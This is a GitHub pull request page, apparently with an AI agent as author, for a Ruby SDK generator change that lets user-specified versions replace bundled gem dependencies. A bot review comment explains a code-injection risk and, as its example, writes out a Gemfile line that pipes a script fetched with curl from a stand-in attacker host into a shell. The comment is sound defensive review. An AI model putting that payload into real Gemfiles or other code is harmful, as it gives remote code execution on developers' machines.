Skip to content

fix(ruby): ensure extraDependencies overrides take precedence over bundled deps#14586

Open
jsklan wants to merge 4 commits intomainfrom
devin/FER-9452-1775256466
Open

fix(ruby): ensure extraDependencies overrides take precedence over bundled deps#14586
jsklan wants to merge 4 commits intomainfrom
devin/FER-9452-1775256466

Conversation

@jsklan
Copy link
Copy Markdown
Contributor

@jsklan jsklan commented Apr 3, 2026

Description

Refs FER-9452

When a user specifies a bundled gem (e.g., base64, rake) in extraDependencies or extraDevDependencies, the generator previously appended the custom entry alongside the bundled one, producing duplicate spec.add_dependency / gem lines. This made it impossible to pin a specific version of a bundled dep (e.g., for CVE remediation). The user-specified version now replaces the bundled one.

Follows the same pattern as the Java generator fix in #14527.

Changes Made

  • Gemspec (GemspecFile): getBase64DependencyString() now checks whether extraDependencies already includes base64 and skips emitting the bundled version if so.
  • Gemfile (Gemfile): Extracted hardcoded dev dependency lines into a BUNDLED_DEV_DEPENDENCIES data structure (alphabetically sorted). Each bundled dep is rendered through getBundledDevDependencyLine(), which substitutes the user's version constraint when present. getExtraDevDependenciesString() filters out overrides to avoid duplicates.
  • Added changelog entry (v1.3.0-rc.1, irVersion 66).
  • Updated 82 seed test Gemfile snapshots to reflect the new compact, alphabetically-sorted formatting.

Updates Since Last Revision

  • Rebased on latest main (includes IR v66 upgrade in 1.3.0-rc.0) to resolve merge conflicts.
  • Bumped changelog version from 1.2.11.3.0-rc.1 to follow the current release candidate series.
  • Dropped the validate-all-changelogs.sh change (already landed upstream on main).

Key Review Points

  • ⚠️ Gemfile cosmetic diff: The original template had blank lines separating groups of gems (rake / minitest group / rubocop group / pry / webmock). The refactored BUNDLED_DEV_DEPENDENCIES array removes those visual separations, producing a compact alphabetically-sorted block. This causes a cosmetic diff for all 82 regenerated Gemfiles — not just those using overrides.
  • ⚠️ Hardcoded indentation in join separator: bundledLines.join("\n ") uses 8 literal spaces to match the dedent template's indentation level. This works correctly but is fragile if the template indentation changes.
  • The in operator is used on Record<string, string> objects to check for key presence — correct for plain JS objects but worth a glance.
  • No override test fixture: The override paths are not exercised by any seed fixture that actually sets extraDependencies/extraDevDependencies to a bundled gem name. The existing seed tests only validate the non-override (default) output. Reviewer may want a dedicated fixture or may accept the current snapshot coverage.

Human Review Checklist

  • Verify the in operator checks on extraDependencies / extraDevDependencies correctly detect overrides (no prototype chain surprises on the config objects)
  • Confirm 1.3.0-rc.1 is the correct version to use in the changelog (follows 1.3.0-rc.0)
  • Assess whether a seed fixture exercising an actual override is needed before merge

Testing

  • Seed snapshot tests (ruby-sdk-v2) pass ✅
  • compile, lint, biome, depcheck, test, test-ete all pass ✅
  • Validate Changelogs and Validate versions.yml files pass ✅
  • All 49 CI checks green after rebase ✅
  • Unit tests added/updated — no unit tests added; relies on seed snapshot tests
  • Manual testing completed

Link to Devin session: https://app.devin.ai/sessions/c04bf88fb7a34e02ba5f262be509906e
Requested by: @jsklan


Open with Devin

@devin-ai-integration
Copy link
Copy Markdown
Contributor

🤖 Devin AI Engineer

I'll be helping with this pull request! Here's what you should know:

✅ I will automatically:

  • Address comments on this PR. Add '(aside)' to your comment to have me ignore it.
  • Look at CI failures and help fix them

Note: I can only respond to comments from users who have write access to this repository.

⚙️ Control Options:

  • Disable automatic comment and CI monitoring

@devin-ai-integration devin-ai-integration bot force-pushed the devin/FER-9452-1775256466 branch from 3915c35 to c690cff Compare April 3, 2026 23:33
@devin-ai-integration devin-ai-integration bot marked this pull request as ready for review April 3, 2026 23:53
Copy link
Copy Markdown

@claude claude bot left a comment

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Claude Code Review

This repository is configured for manual code reviews. Comment @claude review to trigger a review and subscribe this PR to future pushes, or @claude review once for a one-time review.

Tip: disable this comment in your organization's Code Review settings.

const extraDevDependencies = this.context.customConfig.extraDevDependencies;
// If user overrides this bundled dep, use their version constraint
if (extraDevDependencies != null && dep.name in extraDevDependencies) {
return `gem "${dep.name}", "${extraDevDependencies[dep.name]}"`;
Copy link
Copy Markdown

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

🟡 Code injection via unescaped user config values in generated Ruby files

User-supplied extraDependencies and extraDevDependencies values from customConfig are interpolated directly into generated .gemspec and Gemfile content without any escaping or validation beyond z.record(z.string()). Ruby Gemfiles and gemspecs are eval'd in a Ruby context by Bundler (bundle install) and RubyGems (gem build), so a value containing " followed by a newline breaks out of the string literal and injects arbitrary Ruby.

Concrete example — extraDevDependencies: { rake: "~> 13.0\"\neval(\"system('curl attacker.com/x | sh')\")" } generates:

gem "rake", "~> 13.0"
eval("system('curl attacker.com/x | sh')")

This executes when any developer on the team runs bundle install on the generated SDK. The same unescaped interpolation affects packageName keys (not just values) in getExtraDependenciesString and getExtraDevDependenciesString. The new getBundledDevDependencyLine introduced in this PR adds a third injection point at line 436.

Prompt To Fix With AI
In `getBundledDevDependencyLine`, `getExtraDependenciesString`, and `getExtraDevDependenciesString`, all user-supplied package names and version constraint strings must be sanitized before interpolation into Ruby source files.

Add a helper that rejects (throws) or strips characters that can break out of a double-quoted Ruby string literal — at minimum `"` (double quote) and newline (`\n`, `\r`). For example:

```typescript
function sanitizeRubyStringLiteral(value: string, fieldName: string): string {
    if (/[\"\r\n\\]/.test(value)) {
        throw new Error(
            `Invalid character in ${fieldName}: "${value}". ` +
            `Ruby string literals cannot contain unescaped quotes, backslashes, or newlines.`
        );
    }
    return value;
}
```

Apply this to:
1. `packageName` and `versionConstraint` in `getExtraDependenciesString` (gemspec)
2. `packageName` and `versionConstraint` in `getExtraDevDependenciesString` (Gemfile)
3. `extraDevDependencies[dep.name]` in `getBundledDevDependencyLine` (Gemfile)
4. `requirePaths` entries in `ModuleFile.toString()` (the `.rb` module file)

The schema-level validation in `BaseRubyCustomConfigSchema` should also be tightened using `.regex()` refinements on the string fields to catch bad values early with a user-friendly message.

Severity: medium | Confidence: 85%

devin-ai-integration[bot]

This comment was marked as resolved.

devin-ai-integration bot and others added 4 commits April 4, 2026 02:39
…ndled deps

Co-Authored-By: judah <jsklan.development@gmail.com>
Co-Authored-By: judah <jsklan.development@gmail.com>
Co-Authored-By: judah <jsklan.development@gmail.com>
…hots

Co-Authored-By: judah <jsklan.development@gmail.com>
@devin-ai-integration devin-ai-integration bot force-pushed the devin/FER-9452-1775256466 branch from 3f9b362 to 3f9dbc7 Compare April 4, 2026 02:40
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Development

Successfully merging this pull request may close these issues.

1 participant